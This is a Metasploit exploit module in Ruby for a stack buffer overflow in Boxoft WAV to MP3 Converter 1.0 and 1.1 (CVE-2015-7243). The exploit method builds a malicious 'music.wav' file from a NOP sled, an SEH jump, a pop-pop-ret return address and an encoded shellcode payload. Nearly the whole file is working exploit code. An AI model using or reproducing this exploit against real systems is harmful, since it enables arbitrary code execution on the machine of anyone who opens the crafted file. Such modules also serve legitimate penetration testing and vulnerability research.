cgranleese-r7
73 lines
2.0 KiB
Ruby
73 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
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'Description' => %q{
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This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
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By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
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application, a buffer is overwritten, which allows for running shellcode.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Robbie Corley', # EDB POC
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'Shelby Pace' # Metasploit Module
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],
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'References' => [
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[ 'CVE', '2015-7243' ],
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[ 'EDB', '38035' ]
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],
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'Platform' => 'win',
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'Targets' => [
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[
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'Boxoft WAV to MP3 Converter v1.1',
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{
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'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
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}
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]
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],
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'Payload' => {
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'BadChars' => "\x00"
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},
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'Privileged' => false,
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'DisclosureDate' => '2015-08-31',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
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]
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)
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end
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def exploit
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file_payload = payload.encoded
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buf = make_fast_nops(4132)
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buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
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buf << [target.ret].pack("V*") # seh
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buf << file_payload
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# Size isn't very sensitive
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buf << make_fast_nops(5860)
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file_create(buf)
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end
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end
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